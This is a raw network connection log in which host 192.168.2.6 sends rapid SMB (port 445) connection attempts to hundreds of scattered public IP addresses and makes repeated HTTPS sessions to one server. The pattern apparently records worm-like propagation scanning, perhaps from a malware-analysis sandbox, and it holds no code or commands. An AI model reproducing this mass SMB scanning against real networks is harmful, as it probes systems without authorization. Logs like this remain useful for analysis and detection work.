Jul 21, 2022 04:36:12.696944952 CEST	54001	445	192.168.2.6	189.249.174.75
Jul 21, 2022 04:36:12.696950912 CEST	53996	445	192.168.2.6	174.168.70.247
Jul 21, 2022 04:36:12.696985960 CEST	53998	445	192.168.2.6	174.123.187.224
Jul 21, 2022 04:36:12.696989059 CEST	54000	445	192.168.2.6	159.82.64.154
Jul 21, 2022 04:36:12.700844049 CEST	54008	445	192.168.2.6	78.56.231.129
Jul 21, 2022 04:36:12.701637030 CEST	54009	445	192.168.2.6	133.213.218.29
Jul 21, 2022 04:36:12.703026056 CEST	54011	445	192.168.2.6	125.63.235.48
Jul 21, 2022 04:36:12.704416990 CEST	54013	445	192.168.2.6	186.110.72.236
Jul 21, 2022 04:36:12.708082914 CEST	54019	445	192.168.2.6	35.17.213.155
Jul 21, 2022 04:36:12.708722115 CEST	54020	445	192.168.2.6	47.167.246.3
Jul 21, 2022 04:36:12.709753990 CEST	54022	445	192.168.2.6	192.152.226.172
Jul 21, 2022 04:36:12.710280895 CEST	54023	445	192.168.2.6	3.12.193.197
Jul 21, 2022 04:36:12.710781097 CEST	54024	445	192.168.2.6	19.98.159.80
Jul 21, 2022 04:36:12.711277962 CEST	54025	445	192.168.2.6	196.253.220.105
Jul 21, 2022 04:36:12.711764097 CEST	54026	445	192.168.2.6	33.229.33.141
Jul 21, 2022 04:36:12.712249994 CEST	54027	445	192.168.2.6	41.218.242.79
Jul 21, 2022 04:36:12.726197958 CEST	54029	445	192.168.2.6	207.203.48.45
Jul 21, 2022 04:36:12.726361990 CEST	54031	445	192.168.2.6	97.113.40.49
Jul 21, 2022 04:36:12.803836107 CEST	443	53969	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.803917885 CEST	443	53969	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.803986073 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.812675953 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.812707901 CEST	443	53969	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.812722921 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.812922955 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.851653099 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.851692915 CEST	443	54034	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.851782084 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.852133036 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.852149010 CEST	443	54034	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.994858027 CEST	443	54034	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.994975090 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.995461941 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.995485067 CEST	443	54034	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.998352051 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.998373985 CEST	443	54034	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.034977913 CEST	53968	445	192.168.2.6	207.180.242.49
Jul 21, 2022 04:36:13.055665970 CEST	445	53968	207.180.242.49	192.168.2.6
Jul 21, 2022 04:36:13.122517109 CEST	443	54034	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.122632027 CEST	443	54034	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.122663021 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.122679949 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.122848988 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.122869015 CEST	443	54034	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.122881889 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.122956991 CEST	54034	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.125261068 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.125297070 CEST	443	54035	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.125406027 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.125705957 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.125715017 CEST	443	54035	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.267529964 CEST	443	54035	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.273067951 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.277358055 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.277381897 CEST	443	54035	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.280340910 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.280364037 CEST	443	54035	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.402924061 CEST	443	54035	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.403012991 CEST	443	54035	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.403058052 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.403110027 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.413769960 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.413809061 CEST	443	54035	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.413820982 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.413886070 CEST	54035	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.434171915 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.434220076 CEST	443	54036	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.434338093 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.435471058 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.435487986 CEST	443	54036	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.568068027 CEST	54038	445	192.168.2.6	207.180.242.50
Jul 21, 2022 04:36:13.590579033 CEST	445	54038	207.180.242.50	192.168.2.6
Jul 21, 2022 04:36:13.591267109 CEST	443	54036	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.591429949 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.616092920 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.616115093 CEST	443	54036	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.619071007 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.619081020 CEST	443	54036	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.725642920 CEST	54040	445	192.168.2.6	44.219.22.85
Jul 21, 2022 04:36:13.728535891 CEST	54041	445	192.168.2.6	212.68.200.196
Jul 21, 2022 04:36:13.728611946 CEST	54042	445	192.168.2.6	194.235.126.72
Jul 21, 2022 04:36:13.728755951 CEST	54043	445	192.168.2.6	105.128.45.61
Jul 21, 2022 04:36:13.728858948 CEST	54045	445	192.168.2.6	3.246.48.118
Jul 21, 2022 04:36:13.728945017 CEST	54046	445	192.168.2.6	90.187.141.4
Jul 21, 2022 04:36:13.729096889 CEST	54049	445	192.168.2.6	68.136.15.148
Jul 21, 2022 04:36:13.729377985 CEST	54060	445	192.168.2.6	16.225.161.151
Jul 21, 2022 04:36:13.729393959 CEST	54058	445	192.168.2.6	141.186.216.133
Jul 21, 2022 04:36:13.729532957 CEST	54059	445	192.168.2.6	44.162.157.173
Jul 21, 2022 04:36:13.804069996 CEST	54065	445	192.168.2.6	33.13.151.208
Jul 21, 2022 04:36:13.804955959 CEST	54066	445	192.168.2.6	138.250.58.11
Jul 21, 2022 04:36:13.805701971 CEST	54067	445	192.168.2.6	8.24.91.79
Jul 21, 2022 04:36:13.809628963 CEST	54069	445	192.168.2.6	135.135.148.9
Jul 21, 2022 04:36:13.814410925 CEST	54070	445	192.168.2.6	54.110.201.234
Jul 21, 2022 04:36:13.814666986 CEST	54077	445	192.168.2.6	151.181.237.156
Jul 21, 2022 04:36:13.814738989 CEST	54078	445	192.168.2.6	165.183.69.190
Jul 21, 2022 04:36:13.814836025 CEST	54080	445	192.168.2.6	146.217.182.164
Jul 21, 2022 04:36:13.814934015 CEST	54082	445	192.168.2.6	180.48.123.98
Jul 21, 2022 04:36:13.818171978 CEST	443	54036	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.818263054 CEST	443	54036	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.818274975 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.818331003 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.829560995 CEST	54086	445	192.168.2.6	23.82.201.110
Jul 21, 2022 04:36:13.831893921 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:13.834389925 CEST	54036	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.834413052 CEST	443	54036	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.834645987 CEST	54087	445	192.168.2.6	99.177.181.185
Jul 21, 2022 04:36:13.834760904 CEST	54089	445	192.168.2.6	102.89.16.195
Jul 21, 2022 04:36:13.834789038 CEST	54088	445	192.168.2.6	222.115.217.196
Jul 21, 2022 04:36:13.834897041 CEST	54090	445	192.168.2.6	106.2.63.130
Jul 21, 2022 04:36:13.834996939 CEST	54092	445	192.168.2.6	159.134.116.147
Jul 21, 2022 04:36:13.835016966 CEST	54093	445	192.168.2.6	66.34.38.71
Jul 21, 2022 04:36:13.835186005 CEST	54096	445	192.168.2.6	182.44.4.122
Jul 21, 2022 04:36:13.839804888 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.839843035 CEST	443	54097	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.839920044 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.850523949 CEST	54098	445	192.168.2.6	37.176.119.121
Jul 21, 2022 04:36:13.850730896 CEST	54100	445	192.168.2.6	183.77.132.208
Jul 21, 2022 04:36:13.853802919 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:13.853823900 CEST	443	54097	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.974554062 CEST	445	54089	102.89.16.195	192.168.2.6
Jul 21, 2022 04:36:13.995765924 CEST	443	54097	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:13.996095896 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.007513046 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.007534981 CEST	443	54097	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.010299921 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.010317087 CEST	443	54097	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.125073910 CEST	443	54097	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.125189066 CEST	443	54097	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.125247002 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.126606941 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.126632929 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.126652956 CEST	443	54097	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.126667023 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.126724958 CEST	54097	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.133085012 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.133126974 CEST	443	54104	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.133253098 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.133681059 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.133692980 CEST	443	54104	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.222784996 CEST	54038	445	192.168.2.6	207.180.242.50
Jul 21, 2022 04:36:14.245644093 CEST	445	54038	207.180.242.50	192.168.2.6
Jul 21, 2022 04:36:14.276086092 CEST	443	54104	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.276207924 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.276793957 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.276813030 CEST	443	54104	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.278675079 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.278706074 CEST	443	54104	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.332250118 CEST	443	54104	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.332355976 CEST	443	54104	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.332468033 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.332536936 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.332559109 CEST	443	54104	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.332621098 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.332659006 CEST	54104	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.334516048 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.334551096 CEST	443	54105	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.334662914 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.334868908 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.334887981 CEST	443	54105	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.477205038 CEST	443	54105	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.477310896 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.478029013 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.478058100 CEST	443	54105	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.479834080 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.479856014 CEST	443	54105	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.535309076 CEST	54089	445	192.168.2.6	102.89.16.195
Jul 21, 2022 04:36:14.645056963 CEST	54107	445	192.168.2.6	207.180.242.51
Jul 21, 2022 04:36:14.711972952 CEST	443	54105	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.712059975 CEST	443	54105	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.712079048 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.712115049 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.712625027 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.712639093 CEST	443	54105	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:14.712649107 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.712694883 CEST	54105	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:14.837712049 CEST	54109	445	192.168.2.6	132.100.243.98
Jul 21, 2022 04:36:14.838932037 CEST	54110	445	192.168.2.6	180.237.39.20
Jul 21, 2022 04:36:14.839015007 CEST	54111	445	192.168.2.6	50.177.90.239
Jul 21, 2022 04:36:14.839086056 CEST	54112	445	192.168.2.6	145.19.70.214
Jul 21, 2022 04:36:14.839195013 CEST	54113	445	192.168.2.6	197.247.140.107
Jul 21, 2022 04:36:14.839364052 CEST	54116	445	192.168.2.6	59.36.119.184
Jul 21, 2022 04:36:14.839497089 CEST	54118	445	192.168.2.6	102.104.147.230
Jul 21, 2022 04:36:14.839828014 CEST	54126	445	192.168.2.6	169.109.67.20
Jul 21, 2022 04:36:14.839982986 CEST	54128	445	192.168.2.6	92.15.153.164
Jul 21, 2022 04:36:14.840089083 CEST	54129	445	192.168.2.6	58.64.232.80
Jul 21, 2022 04:36:14.905092955 CEST	445	54113	197.247.140.107	192.168.2.6
Jul 21, 2022 04:36:14.949111938 CEST	54133	445	192.168.2.6	142.113.132.246
Jul 21, 2022 04:36:14.952856064 CEST	54135	445	192.168.2.6	149.60.175.166
Jul 21, 2022 04:36:14.952874899 CEST	54136	445	192.168.2.6	39.77.141.10
Jul 21, 2022 04:36:14.952990055 CEST	54138	445	192.168.2.6	14.48.22.129
Jul 21, 2022 04:36:14.953068972 CEST	54137	445	192.168.2.6	91.30.47.25
Jul 21, 2022 04:36:14.953089952 CEST	54139	445	192.168.2.6	205.174.48.173
Jul 21, 2022 04:36:14.953305006 CEST	54147	445	192.168.2.6	197.145.26.111
Jul 21, 2022 04:36:14.953368902 CEST	54149	445	192.168.2.6	135.181.11.233
Jul 21, 2022 04:36:14.953428030 CEST	54150	445	192.168.2.6	16.10.12.89
Jul 21, 2022 04:36:14.953490019 CEST	54151	445	192.168.2.6	160.41.62.218
Jul 21, 2022 04:36:14.957880020 CEST	54156	445	192.168.2.6	44.135.122.245
Jul 21, 2022 04:36:14.958942890 CEST	54158	445	192.168.2.6	124.221.154.104
Jul 21, 2022 04:36:14.963649035 CEST	54162	445	192.168.2.6	179.38.150.162
Jul 21, 2022 04:36:14.964421988 CEST	54166	445	192.168.2.6	165.106.124.79
Jul 21, 2022 04:36:14.964572906 CEST	54164	445	192.168.2.6	80.13.194.6
Jul 21, 2022 04:36:14.964590073 CEST	54167	445	192.168.2.6	134.36.144.33
Jul 21, 2022 04:36:14.964642048 CEST	54169	445	192.168.2.6	160.206.113.218
Jul 21, 2022 04:36:14.964674950 CEST	54170	445	192.168.2.6	119.100.161.60
Jul 21, 2022 04:36:14.964760065 CEST	54171	445	192.168.2.6	218.241.32.246
Jul 21, 2022 04:36:15.410188913 CEST	54113	445	192.168.2.6	197.247.140.107
Jul 21, 2022 04:36:15.426047087 CEST	52904	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:36:15.475581884 CEST	445	54113	197.247.140.107	192.168.2.6
Jul 21, 2022 04:36:15.489106894 CEST	54173	445	192.168.2.6	190.98.231.39
Jul 21, 2022 04:36:15.708247900 CEST	54174	445	192.168.2.6	207.180.242.52
Jul 21, 2022 04:36:15.832045078 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:15.957885027 CEST	54177	445	192.168.2.6	104.224.68.252
Jul 21, 2022 04:36:15.960434914 CEST	54178	445	192.168.2.6	18.246.49.157
Jul 21, 2022 04:36:15.961447954 CEST	54179	445	192.168.2.6	205.29.164.128
Jul 21, 2022 04:36:15.962157965 CEST	54180	445	192.168.2.6	167.219.238.83
Jul 21, 2022 04:36:15.963855028 CEST	54181	445	192.168.2.6	14.65.158.4
Jul 21, 2022 04:36:15.965837955 CEST	54184	445	192.168.2.6	151.6.102.33
Jul 21, 2022 04:36:15.967156887 CEST	54186	445	192.168.2.6	184.128.252.192
Jul 21, 2022 04:36:15.972526073 CEST	54194	445	192.168.2.6	156.110.76.152
Jul 21, 2022 04:36:15.974889040 CEST	54196	445	192.168.2.6	213.216.94.26
Jul 21, 2022 04:36:16.067238092 CEST	54201	445	192.168.2.6	109.211.82.199
Jul 21, 2022 04:36:16.068263054 CEST	54203	445	192.168.2.6	34.72.171.109
Jul 21, 2022 04:36:16.069619894 CEST	54204	445	192.168.2.6	120.193.2.84
Jul 21, 2022 04:36:16.071120977 CEST	54205	445	192.168.2.6	206.125.53.154
Jul 21, 2022 04:36:16.072690010 CEST	54206	445	192.168.2.6	148.90.239.213
Jul 21, 2022 04:36:16.074453115 CEST	54207	445	192.168.2.6	17.14.141.190
Jul 21, 2022 04:36:16.080708027 CEST	54214	445	192.168.2.6	128.64.96.194
Jul 21, 2022 04:36:16.083359957 CEST	54217	445	192.168.2.6	118.78.30.33
Jul 21, 2022 04:36:16.084252119 CEST	54218	445	192.168.2.6	7.214.62.188
Jul 21, 2022 04:36:16.085952044 CEST	54220	445	192.168.2.6	188.226.26.40
Jul 21, 2022 04:36:16.088203907 CEST	54224	445	192.168.2.6	97.212.173.108
Jul 21, 2022 04:36:16.088959932 CEST	54225	445	192.168.2.6	169.162.147.54
Jul 21, 2022 04:36:16.089941025 CEST	54226	445	192.168.2.6	80.167.75.82
Jul 21, 2022 04:36:16.091968060 CEST	54229	445	192.168.2.6	174.157.78.236
Jul 21, 2022 04:36:16.092480898 CEST	54230	445	192.168.2.6	67.32.156.241
Jul 21, 2022 04:36:16.092689037 CEST	54227	445	192.168.2.6	65.167.253.86
Jul 21, 2022 04:36:16.093888998 CEST	54233	445	192.168.2.6	43.51.156.47
Jul 21, 2022 04:36:16.100630045 CEST	54237	445	192.168.2.6	189.190.178.241
Jul 21, 2022 04:36:16.100786924 CEST	54239	445	192.168.2.6	85.114.226.16
Jul 21, 2022 04:36:16.166866064 CEST	445	54220	188.226.26.40	192.168.2.6
Jul 21, 2022 04:36:16.238641977 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:16.577990055 CEST	54240	445	192.168.2.6	190.98.231.40
Jul 21, 2022 04:36:16.682121038 CEST	54220	445	192.168.2.6	188.226.26.40
Jul 21, 2022 04:36:16.763600111 CEST	445	54220	188.226.26.40	192.168.2.6
Jul 21, 2022 04:36:16.785854101 CEST	54242	445	192.168.2.6	207.180.242.53
Jul 21, 2022 04:36:17.083272934 CEST	54245	445	192.168.2.6	89.90.36.186
Jul 21, 2022 04:36:17.085345030 CEST	54246	445	192.168.2.6	178.179.214.218
Jul 21, 2022 04:36:17.086018085 CEST	54247	445	192.168.2.6	159.50.162.115
Jul 21, 2022 04:36:17.086667061 CEST	54248	445	192.168.2.6	50.33.121.76
Jul 21, 2022 04:36:17.087790012 CEST	54249	445	192.168.2.6	70.223.19.128
Jul 21, 2022 04:36:17.089694977 CEST	54252	445	192.168.2.6	61.166.154.168
Jul 21, 2022 04:36:17.108824015 CEST	54256	445	192.168.2.6	55.19.115.68
Jul 21, 2022 04:36:17.109023094 CEST	54262	445	192.168.2.6	190.92.192.106
Jul 21, 2022 04:36:17.109160900 CEST	54265	445	192.168.2.6	213.203.53.186
Jul 21, 2022 04:36:17.109198093 CEST	54264	445	192.168.2.6	130.61.11.97
Jul 21, 2022 04:36:17.193466902 CEST	54270	445	192.168.2.6	2.44.181.184
Jul 21, 2022 04:36:17.194926977 CEST	54272	445	192.168.2.6	96.106.78.4
Jul 21, 2022 04:36:17.199368954 CEST	54279	445	192.168.2.6	100.167.82.109
Jul 21, 2022 04:36:17.200057983 CEST	54280	445	192.168.2.6	164.12.238.197
Jul 21, 2022 04:36:17.200778961 CEST	54281	445	192.168.2.6	86.207.131.242
Jul 21, 2022 04:36:17.201641083 CEST	54282	445	192.168.2.6	192.47.135.79
Jul 21, 2022 04:36:17.202471018 CEST	54283	445	192.168.2.6	182.148.206.16
Jul 21, 2022 04:36:17.208008051 CEST	54284	445	192.168.2.6	203.204.206.85
Jul 21, 2022 04:36:17.210303068 CEST	54287	445	192.168.2.6	172.46.102.145
Jul 21, 2022 04:36:17.211061001 CEST	54288	445	192.168.2.6	213.87.246.48
Jul 21, 2022 04:36:17.212357998 CEST	54290	445	192.168.2.6	195.73.249.246
Jul 21, 2022 04:36:17.213026047 CEST	54291	445	192.168.2.6	176.45.19.191
Jul 21, 2022 04:36:17.213682890 CEST	54292	445	192.168.2.6	185.214.51.85
Jul 21, 2022 04:36:17.214346886 CEST	54293	445	192.168.2.6	144.7.32.108
Jul 21, 2022 04:36:17.232542038 CEST	54297	445	192.168.2.6	144.99.185.58
Jul 21, 2022 04:36:17.232975006 CEST	54299	445	192.168.2.6	96.19.232.250
Jul 21, 2022 04:36:17.233109951 CEST	54301	445	192.168.2.6	36.95.38.203
Jul 21, 2022 04:36:17.233149052 CEST	54303	445	192.168.2.6	95.168.78.140
Jul 21, 2022 04:36:17.233350992 CEST	54307	445	192.168.2.6	191.250.194.195
Jul 21, 2022 04:36:17.645847082 CEST	54309	445	192.168.2.6	190.98.231.41
Jul 21, 2022 04:36:17.848817110 CEST	54311	445	192.168.2.6	207.180.242.54
Jul 21, 2022 04:36:18.193944931 CEST	54314	445	192.168.2.6	102.82.237.168
Jul 21, 2022 04:36:18.196121931 CEST	54315	445	192.168.2.6	219.254.212.226
Jul 21, 2022 04:36:18.196279049 CEST	54317	445	192.168.2.6	77.157.92.170
Jul 21, 2022 04:36:18.196352005 CEST	54319	445	192.168.2.6	5.22.90.51
Jul 21, 2022 04:36:18.196386099 CEST	54320	445	192.168.2.6	13.204.137.220
Jul 21, 2022 04:36:18.196537971 CEST	54321	445	192.168.2.6	114.107.0.169
Jul 21, 2022 04:36:18.214828968 CEST	54323	445	192.168.2.6	191.227.210.0
Jul 21, 2022 04:36:18.214910030 CEST	54325	445	192.168.2.6	37.216.148.229
Jul 21, 2022 04:36:18.215159893 CEST	54326	445	192.168.2.6	27.89.43.204
Jul 21, 2022 04:36:18.215164900 CEST	54330	445	192.168.2.6	21.209.199.234
Jul 21, 2022 04:36:18.332034111 CEST	54338	445	192.168.2.6	165.162.109.124
Jul 21, 2022 04:36:18.332097054 CEST	54342	445	192.168.2.6	200.156.213.91
Jul 21, 2022 04:36:18.332195997 CEST	54341	445	192.168.2.6	210.208.68.186
Jul 21, 2022 04:36:18.332495928 CEST	54344	445	192.168.2.6	148.114.245.125
Jul 21, 2022 04:36:18.332568884 CEST	54345	445	192.168.2.6	178.177.249.242
Jul 21, 2022 04:36:18.332786083 CEST	54346	445	192.168.2.6	188.183.150.104
Jul 21, 2022 04:36:18.332863092 CEST	54347	445	192.168.2.6	90.99.241.154
Jul 21, 2022 04:36:18.332947969 CEST	54350	445	192.168.2.6	166.91.215.140
Jul 21, 2022 04:36:18.333002090 CEST	54349	445	192.168.2.6	54.220.249.46
Jul 21, 2022 04:36:18.333054066 CEST	54352	445	192.168.2.6	173.245.178.75
Jul 21, 2022 04:36:18.333084106 CEST	54351	445	192.168.2.6	221.160.234.120
Jul 21, 2022 04:36:18.333307028 CEST	54353	445	192.168.2.6	159.42.66.203
Jul 21, 2022 04:36:18.333565950 CEST	54360	445	192.168.2.6	213.236.254.40
Jul 21, 2022 04:36:18.333683014 CEST	54363	445	192.168.2.6	9.143.133.32
Jul 21, 2022 04:36:18.343466997 CEST	54364	445	192.168.2.6	1.92.193.24
Jul 21, 2022 04:36:18.343693018 CEST	54369	445	192.168.2.6	45.254.137.190
Jul 21, 2022 04:36:18.343714952 CEST	54370	445	192.168.2.6	223.132.140.60
Jul 21, 2022 04:36:18.343803883 CEST	54371	445	192.168.2.6	176.165.215.98
Jul 21, 2022 04:36:18.343887091 CEST	54372	445	192.168.2.6	172.128.125.30
Jul 21, 2022 04:36:18.644848108 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:18.723151922 CEST	54378	445	192.168.2.6	190.98.231.42
Jul 21, 2022 04:36:18.926863909 CEST	54380	445	192.168.2.6	207.180.242.55
Jul 21, 2022 04:36:19.325545073 CEST	54383	445	192.168.2.6	200.11.101.82
Jul 21, 2022 04:36:19.327867985 CEST	54386	445	192.168.2.6	33.63.62.151
Jul 21, 2022 04:36:19.327889919 CEST	54392	445	192.168.2.6	75.243.161.33
Jul 21, 2022 04:36:19.328001976 CEST	54391	445	192.168.2.6	137.51.196.22
Jul 21, 2022 04:36:19.328003883 CEST	54393	445	192.168.2.6	193.62.60.186
Jul 21, 2022 04:36:19.328248024 CEST	54399	445	192.168.2.6	33.63.179.116
Jul 21, 2022 04:36:19.328294039 CEST	54400	445	192.168.2.6	216.49.126.219
Jul 21, 2022 04:36:19.328394890 CEST	54401	445	192.168.2.6	56.122.215.172
Jul 21, 2022 04:36:19.328440905 CEST	54402	445	192.168.2.6	115.202.202.21
Jul 21, 2022 04:36:19.328496933 CEST	54396	445	192.168.2.6	201.94.0.194
Jul 21, 2022 04:36:19.443564892 CEST	54408	445	192.168.2.6	130.38.23.0
Jul 21, 2022 04:36:19.444453001 CEST	54409	445	192.168.2.6	65.245.235.219
Jul 21, 2022 04:36:19.452418089 CEST	54411	445	192.168.2.6	207.181.0.164
Jul 21, 2022 04:36:19.463836908 CEST	54413	445	192.168.2.6	208.189.204.197
Jul 21, 2022 04:36:19.464109898 CEST	54416	445	192.168.2.6	10.186.92.112
Jul 21, 2022 04:36:19.464226961 CEST	54417	445	192.168.2.6	150.23.96.31
Jul 21, 2022 04:36:19.464351892 CEST	54418	445	192.168.2.6	114.194.113.1
Jul 21, 2022 04:36:19.464580059 CEST	54421	445	192.168.2.6	101.159.244.104
Jul 21, 2022 04:36:19.464739084 CEST	54423	445	192.168.2.6	7.240.0.69
Jul 21, 2022 04:36:19.465018034 CEST	54425	445	192.168.2.6	193.176.176.100
Jul 21, 2022 04:36:19.465130091 CEST	54427	445	192.168.2.6	107.126.76.241
Jul 21, 2022 04:36:19.465230942 CEST	54428	445	192.168.2.6	48.208.144.155
Jul 21, 2022 04:36:19.465246916 CEST	54426	445	192.168.2.6	47.251.247.165
Jul 21, 2022 04:36:19.465383053 CEST	54429	445	192.168.2.6	178.223.153.208
Jul 21, 2022 04:36:19.465471029 CEST	54430	445	192.168.2.6	57.27.140.26
